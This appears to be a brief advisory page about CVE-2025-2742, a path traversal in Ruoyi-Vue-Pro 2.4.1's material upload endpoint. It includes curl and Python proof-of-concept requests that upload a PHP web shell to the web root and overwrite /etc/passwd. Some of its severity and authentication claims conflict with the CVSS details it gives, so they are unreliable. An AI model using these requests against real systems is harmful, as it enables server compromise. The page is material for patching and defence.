Listen to this Post
How CVE-2025-2742 Works
The CVE-2025-2742 vulnerability in Ruoyi-Vue-Pro 2.4.1 stems from insufficient input validation in the Material Upload Interface (/admin-api/mp/material/upload-permanent). Attackers can exploit path traversal via the ‘File’ parameter to write arbitrary files outside the intended directory. The vulnerability requires no user interaction (UI:N) and can be executed remotely (AV:N) with low attack complexity (AC:L). Successful exploitation allows attackers to overwrite system files (VA:L) and potentially achieve remote code execution. The CVSS 4.0 vector indicates impacts on both confidentiality and integrity (VI:L/VA:L).
DailyCVE Form
Platform: Ruoyi-Vue-Pro
Version: 2.4.1
Vulnerability: Path Traversal
Severity: Critical
Date: 07/15/2025
Prediction: Patch by 09/2025
What Undercode Say
curl -X POST -F "[email protected]" http://target/admin-api/mp/material/upload-permanent?File=../../../../etc/passwd
import requests
files = {'file': open('payload.php', 'rb')}
params = {'File': '../../var/www/html/shell.php'}
r = requests.post('http://victim/admin-api/mp/material/upload-permanent', files=files, params=params)
How Exploit
- Remote file overwrite
- Directory traversal
- No auth required
Protection from this CVE
- Input validation
- Path sanitization
- Access restrictions
Impact
- System compromise
- Data leakage
- RCE potential
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
